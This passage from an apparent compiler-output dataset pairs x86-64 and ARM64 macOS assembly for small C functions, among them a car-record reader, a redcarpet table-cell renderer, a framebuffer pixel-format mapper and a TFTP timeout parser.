leaq L_.str.3(%rip), %rsi
leaq -680(%rbp), %rdx
leaq -256(%rbp), %rcx
leaq -464(%rbp), %r8
leaq -672(%rbp), %r9
movq %rbx, -704(%rbp) ## 8-byte Spill
movq %rbx, %rdi
xorl %eax, %eax
pushq %r10
callq _fscanf
addq $16, %rsp
cmpl -684(%rbp), %eax
jne LBB0_3
## %bb.1:
movq -696(%rbp), %rax ## 8-byte Reload
leaq 404(%rax), %r14
leaq -256(%rbp), %r15
leaq -464(%rbp), %r12
leaq -672(%rbp), %r13
.p2align 4, 0x90
LBB0_2: ## =>This Inner Loop Header: Depth=1
movl -680(%rbp), %eax
movl %eax, -404(%r14)
leaq -400(%r14), %rdi
movl $200, %edx
movq %r15, %rsi
callq ___strcpy_chk
leaq -200(%r14), %rdi
movl $200, %edx
movq %r12, %rsi
callq ___strcpy_chk
movl $200, %edx
movq %r14, %rdi
movq %r13, %rsi
callq ___strcpy_chk
movsd -712(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, 204(%r14)
subq $8, %rsp
movq -704(%rbp), %rdi ## 8-byte Reload
leaq L_.str.3(%rip), %rsi
leaq -680(%rbp), %rdx
movq %r15, %rcx
movq %r12, %r8
movq %r13, %r9
xorl %eax, %eax
leaq -712(%rbp), %rbx
pushq %rbx
callq _fscanf
addq $16, %rsp
addq $616, %r14 ## imm = 0x268
cmpl -684(%rbp), %eax
je LBB0_2
LBB0_3:
movq -704(%rbp), %rdi ## 8-byte Reload
callq _fclose
movl -676(%rbp), %r15d
testl %r15d, %r15d
jle LBB0_10
## %bb.4:
movq -696(%rbp), %r12 ## 8-byte Reload
leaq 404(%r12), %rbx
leaq L_.str.5(%rip), %r14
.p2align 4, 0x90
LBB0_5: ## =>This Inner Loop Header: Depth=1
movl -404(%rbx), %esi
leaq -400(%rbx), %rdx
leaq -200(%rbx), %rcx
movsd 204(%rbx), %xmm0 ## xmm0 = mem[0],zero
movq %r14, %rdi
movq %rbx, %r8
movb $1, %al
callq _printf
addq $616, %rbx ## imm = 0x268
decq %r15
jne LBB0_5
## %bb.6:
movl -676(%rbp), %r15d
testl %r15d, %r15d
jle LBB0_10
## %bb.7:
leaq -1(%r15), %rcx
movl %r15d, %eax
andl $3, %eax
cmpq $3, %rcx
jae LBB0_11
## %bb.8:
xorl %ecx, %ecx
## implicit-def: $xmm0
jmp LBB0_13
LBB0_10:
## implicit-def: $xmm0
jmp LBB0_16
LBB0_11:
movl %r15d, %edx
andl $-4, %edx
xorl %ecx, %ecx
movq %r12, %rsi
## implicit-def: $xmm0
.p2align 4, 0x90
LBB0_12: ## =>This Inner Loop Header: Depth=1
xorps %xmm1, %xmm1
cvtsi2sdl (%rsi), %xmm1
addsd %xmm0, %xmm1
xorps %xmm0, %xmm0
cvtsi2sdl 616(%rsi), %xmm0
xorps %xmm2, %xmm2
cvtsi2sdl 1232(%rsi), %xmm2
addsd %xmm1, %xmm0
addsd %xmm0, %xmm2
xorps %xmm0, %xmm0
cvtsi2sdl 1848(%rsi), %xmm0
addsd %xmm2, %xmm0
addq $4, %rcx
addq $2464, %rsi ## imm = 0x9A0
cmpq %rcx, %rdx
jne LBB0_12
LBB0_13:
testq %rax, %rax
je LBB0_16
## %bb.14:
imulq $616, %rcx, %rcx ## imm = 0x268
addq %rcx, %r12
imulq $616, %rax, %rax ## imm = 0x268
xorl %ecx, %ecx
.p2align 4, 0x90
LBB0_15: ## =>This Inner Loop Header: Depth=1
xorps %xmm1, %xmm1
cvtsi2sdl (%r12,%rcx), %xmm1
addsd %xmm1, %xmm0
addq $616, %rcx ## imm = 0x268
cmpq %rcx, %rax
jne LBB0_15
LBB0_16:
xorps %xmm1, %xmm1
cvtsi2sd %r15d, %xmm1
divsd %xmm1, %xmm0
leaq L_.str.4(%rip), %rdi
movb $1, %al
callq _printf
movq -720(%rbp), %rsp ## 8-byte Reload
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
cmpq -48(%rbp), %rax
jne LBB0_18
## %bb.17:
xorl %eax, %eax
leaq -40(%rbp), %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_18:
callq ___stack_chk_fail
.cfi_endproc
## -- End function
.globl _printCarCollection ## -- Begin function printCarCollection
.p2align 4, 0x90
_printCarCollection: ## @printCarCollection
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
testl %esi, %esi
jle LBB1_3
## %bb.1:
movq %rdi, %rbx
movl %esi, %r15d
addq $404, %rbx ## imm = 0x194
leaq L_.str.5(%rip), %r14
.p2align 4, 0x90
LBB1_2: ## =>This Inner Loop Header: Depth=1
movl -404(%rbx), %esi
leaq -400(%rbx), %rdx
leaq -200(%rbx), %rcx
movsd 204(%rbx), %xmm0 ## xmm0 = mem[0],zero
movq %r14, %rdi
movq %rbx, %r8
movb $1, %al
callq _printf
addq $616, %rbx ## imm = 0x268
decq %r15
jne LBB1_2
LBB1_3:
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _averageVehicleYear ## -- Begin function averageVehicleYear
.p2align 4, 0x90
_averageVehicleYear: ## @averageVehicleYear
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
testl %esi, %esi
jle LBB2_1
## %bb.2:
movl %esi, %ecx
leaq -1(%rcx), %rax
movl %ecx, %r8d
andl $3, %r8d
cmpq $3, %rax
jae LBB2_4
## %bb.3:
xorl %edx, %edx
## implicit-def: $xmm0
jmp LBB2_6
LBB2_1:
## implicit-def: $xmm0
jmp LBB2_9
LBB2_4:
andl $-4, %ecx
xorl %edx, %edx
movq %rdi, %rax
## implicit-def: $xmm0
.p2align 4, 0x90
LBB2_5: ## =>This Inner Loop Header: Depth=1
xorps %xmm1, %xmm1
cvtsi2sdl (%rax), %xmm1
addsd %xmm0, %xmm1
xorps %xmm0, %xmm0
cvtsi2sdl 616(%rax), %xmm0
xorps %xmm2, %xmm2
cvtsi2sdl 1232(%rax), %xmm2
addsd %xmm1, %xmm0
addsd %xmm0, %xmm2
xorps %xmm0, %xmm0
cvtsi2sdl 1848(%rax), %xmm0
addsd %xmm2, %xmm0
addq $4, %rdx
addq $2464, %rax ## imm = 0x9A0
cmpq %rdx, %rcx
jne LBB2_5
LBB2_6:
testq %r8, %r8
je LBB2_9
## %bb.7:
imulq $616, %rdx, %rax ## imm = 0x268
addq %rax, %rdi
imulq $616, %r8, %rax ## imm = 0x268
xorl %ecx, %ecx
.p2align 4, 0x90
LBB2_8: ## =>This Inner Loop Header: Depth=1
xorps %xmm1, %xmm1
cvtsi2sdl (%rdi,%rcx), %xmm1
addsd %xmm1, %xmm0
addq $616, %rcx ## imm = 0x268
cmpq %rcx, %rax
jne LBB2_8
LBB2_9:
xorps %xmm1, %xmm1
cvtsi2sd %esi, %xmm1
divsd %xmm1, %xmm0
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "data.txt"
L_.str.1: ## @.str.1
.asciz "r"
L_.str.2: ## @.str.2
.asciz "%d\t%d"
L_.str.3: ## @.str.3
.asciz "%d\t%s\t%s\t%s\t%lf"
L_.str.4: ## @.str.4
.asciz "%.2lf\n"
L_.str.5: ## @.str.5
.asciz "%d\t%s\t%s\t%s\t%lf\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 96
stp x26, x25, [sp, #16] ; 16-byte Folded Spill
stp x24, x23, [sp, #32] ; 16-byte Folded Spill
stp x22, x21, [sp, #48] ; 16-byte Folded Spill
stp x20, x19, [sp, #64] ; 16-byte Folded Spill
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
sub sp, sp, #656
mov x19, sp
Lloh0:
adrp x8, ___stack_chk_guard@GOTPAGE
Lloh1:
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
Lloh2:
ldr x8, [x8]
stur x8, [x29, #-96]
Lloh3:
adrp x0, l_.str@PAGE
Lloh4:
add x0, x0, l_.str@PAGEOFF
Lloh5:
adrp x1, l_.str.1@PAGE
Lloh6:
add x1, x1, l_.str.1@PAGEOFF
bl _fopen
mov x20, x0
add x8, x19, #32
add x9, x19, #36
stp x9, x8, [sp, #-16]!
Lloh7:
adrp x1, l_.str.2@PAGE
Lloh8:
add x1, x1, l_.str.2@PAGEOFF
bl _fscanf
add sp, sp, #16
mov x8, sp
str x8, [x19, #8] ; 8-byte Folded Spill
ldr w8, [x19, #36]
mov w9, #616
mul x9, x8, x9
add x8, x9, #15
and x8, x8, #0x7fffffffff0
Lloh9:
adrp x16, ___chkstk_darwin@GOTPAGE
Lloh10:
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
mov x9, sp
sub x24, x9, x8
mov sp, x24
sub sp, sp, #48
add x25, x19, #16
add x26, x19, #40
add x27, x19, #240
stp x26, x25, [sp, #24]
add x28, x19, #440
add x23, x19, #28
stp x28, x27, [sp, #8]
str x23, [sp]
Lloh11:
adrp x1, l_.str.3@PAGE
Lloh12:
add x1, x1, l_.str.3@PAGEOFF
mov x0, x20
bl _fscanf
add sp, sp, #48
ldr w8, [x19, #32]
cmp w0, w8
b.ne LBB0_3
; %bb.1:
add x21, x24, #404
Lloh13:
adrp x22, l_.str.3@PAGE
Lloh14:
add x22, x22, l_.str.3@PAGEOFF
LBB0_2: ; =>This Inner Loop Header: Depth=1
ldr w8, [x19, #28]
sub x9, x21, #404
str w8, [x9]
sub x0, x21, #400
add x1, x19, #440
mov w2, #200
bl ___strcpy_chk
sub x0, x21, #200
add x1, x19, #240
mov w2, #200
bl ___strcpy_chk
add x1, x19, #40
mov x0, x21
mov w2, #200
bl ___strcpy_chk
ldr d0, [x19, #16]
stur d0, [x21, #204]
sub sp, sp, #48
stp x26, x25, [sp, #24]
stp x28, x27, [sp, #8]
str x23, [sp]
mov x0, x20
mov x1, x22
bl _fscanf
add sp, sp, #48
ldr w8, [x19, #32]
add x21, x21, #616
cmp w0, w8
b.eq LBB0_2
LBB0_3:
mov x0, x20
bl _fclose
ldr w21, [x19, #36]
cmp w21, #1
b.lt LBB0_9
; %bb.4:
add x22, x24, #404
Lloh15:
adrp x20, l_.str.5@PAGE
Lloh16:
add x20, x20, l_.str.5@PAGEOFF
LBB0_5: ; =>This Inner Loop Header: Depth=1
sub x8, x22, #404
sub x9, x22, #400
sub x10, x22, #200
ldur d0, [x22, #204]
ldr w8, [x8]
sub sp, sp, #48
str d0, [sp, #32]
stp x10, x22, [sp, #16]
stp x8, x9, [sp]
mov x0, x20
bl _printf
add sp, sp, #48
add x22, x22, #616
subs x21, x21, #1
b.ne LBB0_5
; %bb.6:
ldr w8, [x19, #36]
cmp w8, #1
b.lt LBB0_10
; %bb.7:
cmp w8, #4
b.hs LBB0_11
; %bb.8:
mov x9, #0
; implicit-def: $d0
b LBB0_14
LBB0_9:
mov x8, x21
LBB0_10:
; implicit-def: $d0
b LBB0_16
LBB0_11:
and x9, x8, #0xfffffffc
mov x10, x9
mov x11, x24
; implicit-def: $d0
LBB0_12: ; =>This Inner Loop Header: Depth=1
ldr s1, [x11]
sshll.2d v1, v1, #0
scvtf d1, d1
ldr s2, [x11, #616]
sshll.2d v2, v2, #0
scvtf d2, d2
ldr s3, [x11, #1232]
sshll.2d v3, v3, #0
scvtf d3, d3
ldr s4, [x11, #1848]
sshll.2d v4, v4, #0
scvtf d4, d4
fadd d0, d0, d1
fadd d0, d0, d2
fadd d0, d0, d3
fadd d0, d0, d4
add x11, x11, #2464
subs x10, x10, #4
b.ne LBB0_12
; %bb.13:
cmp x9, x8
b.eq LBB0_16
LBB0_14:
sub x10, x8, x9
mov w11, #616
madd x9, x9, x11, x24
LBB0_15: ; =>This Inner Loop Header: Depth=1
ldr s1, [x9]
sshll.2d v1, v1, #0
scvtf d1, d1
fadd d0, d0, d1
add x9, x9, #616
subs x10, x10, #1
b.ne LBB0_15
LBB0_16:
scvtf d1, w8
fdiv d0, d0, d1
str d0, [sp, #-16]!
Lloh17:
adrp x0, l_.str.4@PAGE
Lloh18:
add x0, x0, l_.str.4@PAGEOFF
bl _printf
add sp, sp, #16
ldr x8, [x19, #8] ; 8-byte Folded Reload
mov sp, x8
ldur x8, [x29, #-96]
Lloh19:
adrp x9, ___stack_chk_guard@GOTPAGE
Lloh20:
ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
Lloh21:
ldr x9, [x9]
cmp x9, x8
b.ne LBB0_18
; %bb.17:
mov w0, #0
sub sp, x29, #80
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
ldp x20, x19, [sp, #64] ; 16-byte Folded Reload
ldp x22, x21, [sp, #48] ; 16-byte Folded Reload
ldp x24, x23, [sp, #32] ; 16-byte Folded Reload
ldp x26, x25, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #96 ; 16-byte Folded Reload
ret
LBB0_18:
bl ___stack_chk_fail
.loh AdrpAdd Lloh11, Lloh12
.loh AdrpLdrGot Lloh9, Lloh10
.loh AdrpAdd Lloh7, Lloh8
.loh AdrpAdd Lloh5, Lloh6
.loh AdrpAdd Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpAdd Lloh13, Lloh14
.loh AdrpAdd Lloh15, Lloh16
.loh AdrpLdrGotLdr Lloh19, Lloh20, Lloh21
.loh AdrpAdd Lloh17, Lloh18
.cfi_endproc
; -- End function
.globl _printCarCollection ; -- Begin function printCarCollection
.p2align 2
_printCarCollection: ; @printCarCollection
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x22, x21, [sp, #48] ; 16-byte Folded Spill
stp x20, x19, [sp, #64] ; 16-byte Folded Spill
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
cmp w1, #1
b.lt LBB1_3
; %bb.1:
mov w20, w1
add x21, x0, #404
Lloh22:
adrp x19, l_.str.5@PAGE
Lloh23:
add x19, x19, l_.str.5@PAGEOFF
LBB1_2: ; =>This Inner Loop Header: Depth=1
sub x8, x21, #404
sub x9, x21, #400
sub x10, x21, #200
ldur d0, [x21, #204]
ldr w8, [x8]
str d0, [sp, #32]
stp x10, x21, [sp, #16]
stp x8, x9, [sp]
mov x0, x19
bl _printf
add x21, x21, #616
subs x20, x20, #1
b.ne LBB1_2
LBB1_3:
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
ldp x20, x19, [sp, #64] ; 16-byte Folded Reload
ldp x22, x21, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #96
ret
.loh AdrpAdd Lloh22, Lloh23
.cfi_endproc
; -- End function
.globl _averageVehicleYear ; -- Begin function averageVehicleYear
.p2align 2
_averageVehicleYear: ; @averageVehicleYear
.cfi_startproc
; %bb.0:
cmp w1, #1
b.lt LBB2_3
; %bb.1:
mov w8, w1
cmp w1, #4
b.hs LBB2_4
; %bb.2:
mov x9, #0
; implicit-def: $d0
b LBB2_7
LBB2_3:
; implicit-def: $d0
b LBB2_9
LBB2_4:
and x9, x8, #0xfffffffc
mov x10, x9
mov x11, x0
; implicit-def: $d0
LBB2_5: ; =>This Inner Loop Header: Depth=1
ldr s1, [x11]
sshll.2d v1, v1, #0
scvtf d1, d1
ldr s2, [x11, #616]
sshll.2d v2, v2, #0
scvtf d2, d2
ldr s3, [x11, #1232]
sshll.2d v3, v3, #0
scvtf d3, d3
ldr s4, [x11, #1848]
sshll.2d v4, v4, #0
scvtf d4, d4
fadd d0, d0, d1
fadd d0, d0, d2
fadd d0, d0, d3
fadd d0, d0, d4
add x11, x11, #2464
subs x10, x10, #4
b.ne LBB2_5
; %bb.6:
cmp x9, x8
b.eq LBB2_9
LBB2_7:
mov w10, #616
madd x10, x9, x10, x0
sub x8, x8, x9
LBB2_8: ; =>This Inner Loop Header: Depth=1
ldr s1, [x10]
sshll.2d v1, v1, #0
scvtf d1, d1
fadd d0, d0, d1
add x10, x10, #616
subs x8, x8, #1
b.ne LBB2_8
LBB2_9:
scvtf d1, w1
fdiv d0, d0, d1
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "data.txt"
l_.str.1: ; @.str.1
.asciz "r"
l_.str.2: ; @.str.2
.asciz "%d\t%d"
l_.str.3: ; @.str.3
.asciz "%d\t%s\t%s\t%s\t%lf"
l_.str.4: ; @.str.4
.asciz "%.2lf\n"
l_.str.5: ; @.str.5
.asciz "%d\t%s\t%s\t%s\t%lf\n"
.subsections_via_symbols
| the_stack_data/187644497.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function rndr_tablecell
_rndr_tablecell: ## @rndr_tablecell
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movq %rsi, %r14
cmpl $128, %edx
je LBB0_5
## %bb.1:
cmpl $130, %edx
je LBB0_6
## %bb.2:
cmpl $129, %edx
jne LBB0_7
## %bb.3:
leaq L_.str(%rip), %rdi
jmp LBB0_4
LBB0_5:
leaq L_.str.1(%rip), %rdi
jmp LBB0_4
LBB0_6:
leaq L_.str.2(%rip), %rdi
LBB0_4:
callq _CSTR2SYM
movl %eax, %ebx
jmp LBB0_8
LBB0_7:
movq _Qnil@GOTPCREL(%rip), %rax
movl (%rax), %ebx
LBB0_8:
movq %r14, %rdi
callq _buf2str
leaq L_.str.3(%rip), %rdi
movl $2, %esi
movl %eax, %edx
movl %ebx, %ecx
popq %rbx
popq %r14
popq %rbp
jmp _BLOCK_CALLBACK ## TAILCALL
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "left"
L_.str.1: ## @.str.1
.asciz "right"
L_.str.2: ## @.str.2
.asciz "center"
.comm _Qnil,4,2 ## @Qnil
L_.str.3: ## @.str.3
.asciz "table_cell"
.no_dead_strip _rndr_tablecell
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function rndr_tablecell
_rndr_tablecell: ; @rndr_tablecell
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x1
cmp w2, #128
b.eq LBB0_4
; %bb.1:
cmp w2, #130
b.eq LBB0_5
; %bb.2:
cmp w2, #129
b.ne LBB0_7
; %bb.3:
Lloh0:
adrp x0, l_.str@PAGE
Lloh1:
add x0, x0, l_.str@PAGEOFF
b LBB0_6
LBB0_4:
Lloh2:
adrp x0, l_.str.1@PAGE
Lloh3:
add x0, x0, l_.str.1@PAGEOFF
b LBB0_6
LBB0_5:
Lloh4:
adrp x0, l_.str.2@PAGE
Lloh5:
add x0, x0, l_.str.2@PAGEOFF
LBB0_6:
bl _CSTR2SYM
mov x20, x0
b LBB0_8
LBB0_7:
Lloh6:
adrp x8, _Qnil@GOTPAGE
Lloh7:
ldr x8, [x8, _Qnil@GOTPAGEOFF]
Lloh8:
ldr w20, [x8]
LBB0_8:
mov x0, x19
bl _buf2str
mov x2, x0
Lloh9:
adrp x0, l_.str.3@PAGE
Lloh10:
add x0, x0, l_.str.3@PAGEOFF
mov w1, #2
mov x3, x20
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _BLOCK_CALLBACK
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh4, Lloh5
.loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8
.loh AdrpAdd Lloh9, Lloh10
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "left"
l_.str.1: ; @.str.1
.asciz "right"
l_.str.2: ; @.str.2
.asciz "center"
.comm _Qnil,4,2 ; @Qnil
l_.str.3: ; @.str.3
.asciz "table_cell"
.no_dead_strip _rndr_tablecell
.subsections_via_symbols
| AnghaBench/redcarpet/ext/redcarpet/extr_rc_render.c_rndr_tablecell.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function sh_mobile_format_fourcc
_sh_mobile_format_fourcc: ## @sh_mobile_format_fourcc
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl (%rdi), %eax
cmpl $1, %eax
jg LBB0_8
## %bb.1:
movl 4(%rdi), %ecx
cmpl $32, %ecx
je LBB0_6
## %bb.2:
cmpl $24, %ecx
je LBB0_5
## %bb.3:
xorl %eax, %eax
cmpl $16, %ecx
jne LBB0_8
## %bb.4:
movq _V4L2_PIX_FMT_RGB565@GOTPCREL(%rip), %rax
jmp LBB0_7
LBB0_6:
movq _V4L2_PIX_FMT_BGR32@GOTPCREL(%rip), %rax
jmp LBB0_7
LBB0_5:
movq _V4L2_PIX_FMT_BGR24@GOTPCREL(%rip), %rax
LBB0_7:
movl (%rax), %eax
LBB0_8:
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _V4L2_PIX_FMT_RGB565,4,2 ## @V4L2_PIX_FMT_RGB565
.comm _V4L2_PIX_FMT_BGR24,4,2 ## @V4L2_PIX_FMT_BGR24
.comm _V4L2_PIX_FMT_BGR32,4,2 ## @V4L2_PIX_FMT_BGR32
.no_dead_strip _sh_mobile_format_fourcc
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function sh_mobile_format_fourcc
_sh_mobile_format_fourcc: ; @sh_mobile_format_fourcc
.cfi_startproc
; %bb.0:
mov x8, x0
ldr w0, [x0]
cmp w0, #1
b.gt LBB0_8
; %bb.1:
ldr w8, [x8, #4]
cmp w8, #32
b.eq LBB0_5
; %bb.2:
cmp w8, #24
b.eq LBB0_6
; %bb.3:
cmp w8, #16
b.ne LBB0_9
; %bb.4:
Lloh0:
adrp x8, _V4L2_PIX_FMT_RGB565@GOTPAGE
Lloh1:
ldr x8, [x8, _V4L2_PIX_FMT_RGB565@GOTPAGEOFF]
b LBB0_7
LBB0_5:
Lloh2:
adrp x8, _V4L2_PIX_FMT_BGR32@GOTPAGE
Lloh3:
ldr x8, [x8, _V4L2_PIX_FMT_BGR32@GOTPAGEOFF]
b LBB0_7
LBB0_6:
Lloh4:
adrp x8, _V4L2_PIX_FMT_BGR24@GOTPAGE
Lloh5:
ldr x8, [x8, _V4L2_PIX_FMT_BGR24@GOTPAGEOFF]
LBB0_7:
ldr w0, [x8]
LBB0_8:
ret
LBB0_9:
mov w0, #0
ret
.loh AdrpLdrGot Lloh0, Lloh1
.loh AdrpLdrGot Lloh2, Lloh3
.loh AdrpLdrGot Lloh4, Lloh5
.cfi_endproc
; -- End function
.comm _V4L2_PIX_FMT_RGB565,4,2 ; @V4L2_PIX_FMT_RGB565
.comm _V4L2_PIX_FMT_BGR24,4,2 ; @V4L2_PIX_FMT_BGR24
.comm _V4L2_PIX_FMT_BGR32,4,2 ; @V4L2_PIX_FMT_BGR32
.no_dead_strip _sh_mobile_format_fourcc
.subsections_via_symbols
| AnghaBench/linux/drivers/video/fbdev/extr_sh_mobile_lcdcfb.c_sh_mobile_format_fourcc.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _option_timeout ## -- Begin function option_timeout
.p2align 4, 0x90
_option_timeout: ## @option_timeout
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq _options@GOTPCREL(%rip), %r12
movq (%r12), %rax
movq _OPT_TIMEOUT@GOTPCREL(%rip), %r13
movq (%r13), %rcx
shlq $4, %rcx
movq 8(%rax,%rcx), %rbx
xorl %r15d, %r15d
testq %rbx, %rbx
je LBB0_10
## %bb.1:
movl %edi, %r14d
movq %rbx, %rdi
callq _atoi
movq _TIMEOUT_MIN@GOTPCREL(%rip), %rcx
movl (%rcx), %edx
movq _TIMEOUT_MAX@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
cmpl %edx, %eax
jl LBB0_3
## %bb.2:
cmpl %ecx, %eax
jg LBB0_3
## %bb.8:
movq _timeoutpacket@GOTPCREL(%rip), %r14
movl %eax, (%r14)
movq %rbx, %rdi
callq _strdup
movq (%r12), %rcx
movq (%r13), %rdx
shlq $4, %rdx
movl %eax, (%rcx,%rdx)
movl (%r14), %edi
movq _timeoutnetwork@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq _maxtimeouts@GOTPCREL(%rip), %rax
movl (%rax), %edx
callq _settimeouts
movq _debug@GOTPCREL(%rip), %rax
movq _DEBUG_OPTIONS@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
testl %ecx, (%rax)
je LBB0_10
## %bb.9:
movq _LOG_DEBUG@GOTPCREL(%rip), %rax
movl (%rax), %edi
movq (%r12), %rax
movq (%r13), %rcx
shlq $4, %rcx
movl (%rax,%rcx), %edx
leaq L_.str.1(%rip), %rsi
xorl %r15d, %r15d
xorl %eax, %eax
callq _tftp_log
jmp LBB0_10
LBB0_3:
movq _acting_as_client@GOTPCREL(%rip), %rbx
cmpq $0, (%rbx)
jne LBB0_4
## %bb.5:
movq _LOG_WARNING@GOTPCREL(%rip), %rsi
jmp LBB0_6
LBB0_4:
movq _LOG_ERR@GOTPCREL(%rip), %rsi
LBB0_6:
movl (%rsi), %edi
leaq L_.str(%rip), %rsi
movl %eax, %r8d
xorl %eax, %eax
callq _tftp_log
movq _EBADOP@GOTPCREL(%rip), %rax
movl (%rax), %esi
movl %r14d, %edi
callq _send_error
movl $1, %r15d
cmpq $0, (%rbx)
je LBB0_7
LBB0_10:
movl %r15d, %eax
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_7:
movl $1, %edi
callq _exit
.cfi_endproc
## -- End function
.comm _options,8,3 ## @options
.comm _OPT_TIMEOUT,8,3 ## @OPT_TIMEOUT
.comm _TIMEOUT_MIN,4,2 ## @TIMEOUT_MIN
.comm _TIMEOUT_MAX,4,2 ## @TIMEOUT_MAX
.comm _acting_as_client,8,3 ## @acting_as_client
.comm _LOG_ERR,4,2 ## @LOG_ERR
.comm _LOG_WARNING,4,2 ## @LOG_WARNING
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Received bad value for timeout. Should be between %d and %d, received %d"
.comm _EBADOP,4,2 ## @EBADOP
.comm _timeoutpacket,4,2 ## @timeoutpacket
.comm _timeoutnetwork,4,2 ## @timeoutnetwork
.comm _maxtimeouts,4,2 ## @maxtimeouts
.comm _debug,4,2 ## @debug
.comm _DEBUG_OPTIONS,4,2 ## @DEBUG_OPTIONS
.comm _LOG_DEBUG,4,2 ## @LOG_DEBUG
L_.str.1: ## @.str.1
.asciz "Setting timeout to '%s'"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _option_timeout ; -- Begin function option_timeout
.p2align 2
_option_timeout: ; @option_timeout
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
Lloh0:
adrp x21, _options@GOTPAGE
Lloh1:
ldr x21, [x21, _options@GOTPAGEOFF]
ldr x8, [x21]
Lloh2:
adrp x22, _OPT_TIMEOUT@GOTPAGE
Lloh3:
